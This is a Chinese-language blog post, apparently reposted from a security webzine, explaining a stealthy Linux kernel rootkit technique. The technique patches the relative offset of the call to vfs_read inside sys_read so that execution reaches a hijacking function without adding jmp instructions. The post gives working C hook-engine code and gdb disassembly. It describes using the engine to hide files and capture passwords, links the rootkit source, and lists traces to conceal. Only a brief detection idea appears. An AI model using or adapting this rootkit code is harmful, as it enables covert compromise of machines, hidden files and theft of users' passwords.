高级 inline hook 技术

一、简述

 
    目前流行和成熟的kernel inline hook技术就是修改内核函数的opcode,通过写入jmp或
push ret等指令跳转到新的内核函数中,从而达到修改或过滤的功能。这些技术的共同点就
是都会覆盖原有的指令,这样很容易在函数中通过查找jmp,push ret等指令来查出来,因此这
种inline hook方式不够隐蔽。本文将使用一种高级 inline hook 技术来实现更隐蔽的inline
hook技术。


二、更改offset实现跳转

    如何不给函数添加或覆盖新指令,就能跳转到我们新的内核函数中去呢?我们知道实现一
个系统调用的函数中不可能把所有功能都在这个函数中全部实现,它必定要调用它的下层函
数。如果这个下层函数也可以得到我们想要的过滤信息等内容的话,就可以把下层函数在上
层函数中的offset替换成我们新的函数的offset,这样上层函数调用下层函数时,就会跳到我
们新的函数中,在新的函数中做过滤和劫持内容的工作。原理是这样的,具体来分析它该怎么
实现, 我们去看看sys_read的具体实现:

linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
        struct file *file;
        ssize_t ret = -EBADF;
        int fput_needed;

        file = fget_light(fd, &fput_needed);
        if (file) {
                loff_t pos = file_pos_read(file);
                ret = vfs_read(file, buf, count, &pos);
                file_pos_write(file, pos);
                fput_light(file, fput_needed);
        }

        return ret;
}
EXPORT_SYMBOL_GPL(sys_read);


    我们看到sys_read最终是要调用下层函数vfs_read来完成读取数据的操作,所以我们不
需要给sys_read添加或覆盖指令, 而是要更改vfs_read在sys_read代码中的offset就可以跳
转到我们新的new_vfs_read中去。如何修改 vfs_read 的offset呢?先反汇编下sys_read看看:

[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xfffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>              ///在这里调用 vfs_read.
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
0xc106dca3 <sys_read+73>:       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:       pop    %eax
0xc106dca8 <sys_read+78>:       je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:       mov    %ebx,%eax
0xc106dcac <sys_read+82>:       call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:       mov    %esi,%eax
0xc106dcb6 <sys_read+92>:       pop    %ebx
0xc106dcb7 <sys_read+93>:       pop    %esi
0xc106dcb8 <sys_read+94>:       pop    %ebp
0xc106dcb9 <sys_read+95>:       ret    
End of assembler dump.
(gdb) 
 
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>

    通过call指令来跳转到vfs_read中去。0xc106d75c是vfs_read的内存地址。所以只要把
这个地址替换成我们的新函数地址,当sys_read执行这块的时候,就会跳转到我们的函数来了。

    下面给出我写的一个hook引擎,来完成查找和替换offset的功能。原理就是搜索 sys_read
的opcode,如果发现是call指令,根据call后面的offset重新计算要跳转的地址是不是我们要
hook的函数地址,如果是就重新计算新函数的offset,用新的offset替换原来的offset。从而
完成跳转功能。

    参数handler是上层函数的地址,这里就是 sys_read 的地址,old_func 是要替换的函数地
址,这里就是 vfs_read, new_func是新函数的地址,这里就是new_vfs_read的地址。

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func, unsigned int new_func)
{
	unsigned char *p = (unsigned char *)handler;		/// sys_read的地址。
	unsigned char buf[4] = "\x00\x00\x00\x00";
	unsigned int offset = 0;
	unsigned int orig = 0;
	int i = 0;

	DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

	while (1) {
		if (i > 512)
			return 0;

		if (p[0] == 0xe8) {                                  ///在 sys_read 反汇编代码中不止一个 call 指令。
			DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);   
			
			DbgPrint("*** hook engine: call addr: 0x%08x\n", 
				(unsigned int)p);
			buf[0] = p[1];
			buf[1] = p[2];
			buf[2] = p[3];
			buf[3] = p[4];

			DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n", p[1], p[2], p[3], p[4]);

        		offset = *(unsigned int *)buf;      		// offset 为call 后面的数值。                    
        		DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

        		orig = offset + (unsigned int)p + 5;        ///orig 在这里是个绝对地址。
				/// call后面的数值(相对地址)   +  call指令地址 + 5(指令的长度).
        		DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

			if (orig == old_func) {		/// 是不是 vfs_read 的地址。
				DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);
				DbgPrint("%d\n", i);
				break;		/// 找到函数地址 然后break.
			}		
		}
		p++;
		i++;
	}

	offset = new_func - (unsigned int)p - 5;		// 原理同上注释!。根据绝对地址得到相对地址。
	DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

	p[1] = (offset & 0x000000ff);
	p[2] = (offset & 0x0000ff00) >> 8;
	p[3] = (offset & 0x00ff0000) >> 16;
	p[4] = (offset & 0xff000000) >> 24;

	DbgPrint("*** hook engine: pachted new func offset.\n");

	return orig;
} 

    使用这种方法,我们仅改了函数的一个offset,没有添加和修改任何指令,传统的inline
hook检查思路都已经失效。

 

三、补充
    这种通过修改offset的来实现跳转的方法,需要知道上层函数的地址,在上面的例子中
sys_read 和 vfs_read 在内核中都是导出的,因此可以直接引用它们的地址。但是如果想hook
没有导出的函数时,不仅要知道上层函数的地址,还要知道下层函数的地址。因此给 rootkit
的安装稍微带了点麻烦。不过,可以通过读取 /proc/kallsyms 或 system map 来查找函数地址。


四、如何查杀
    这种inline hook技术改写的只是函数的offset, 并没有添加传统的jmp, push ret等指
令,所以传统的inline hook检测技术基本失效。我想到的一种解决方法就是对某些函数的
offset做备份,然后需要的时候与现在的offset进行比较,如果不相等可能机器就中了这种类
型的rootkit。 如果您有好的想法可以通过mail与我共同交流。

 

 

源码:

https://github.com/xushichao/rootkit.git

 

 

 

测试:
本程序通过拦截函数 filldir64 来隐藏文件,在config.h 里面配置
宏为 HIDE_FILE "rootkit"  ,拦截所有的文件名为 rootkit 的文件(不包括后缀)
在加载 rootkit.ko 文件以前 ls 显示如下:

高级 inline hook 技术_第1张图片

 

在加载之后显示如下:

 


另外还通过拦截 sys_read 函数 调用的一个子函数 : vfs_read
来实现析取密码: (为了安全将密码明文涂掉了)

 ( 

 

本程序并没有完全隐藏 自己,在很多地方都有暴露比如说:
cat /proc/kallsyms
显示如下内核符号:
old_filldir64_opcode
filldir64_addr
new_filldir64
new_vfs_read
orig_vfs_read  
get_sct_addr

安装钩子之后lsmod 显示内核模块: rootkit
这些痕迹都应该被 hook 掉。

 

 

 

另外原作者在 安全焦点 还有一篇关于内核hook的  --抒写Linux 2.6.x下内核级后门程序:
http://www.xfocus.net/articles/200808/985.html
有兴趣可以把他们整合在一起。

 




本文根据:
http://sebug.net/paper/pst_WebZine/pst_WebZine_0x03/html/%5BPSTZine%200x03%5D%5B0x03%5D%5B%E9%AB%98%E7%BA%A7Linux%20Kernel%20Inline%20Hook%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0%5D.html

整理而来。由于版本跨度较大,修改了部分函数和代码。



 

你可能感兴趣的:(高级 inline hook 技术)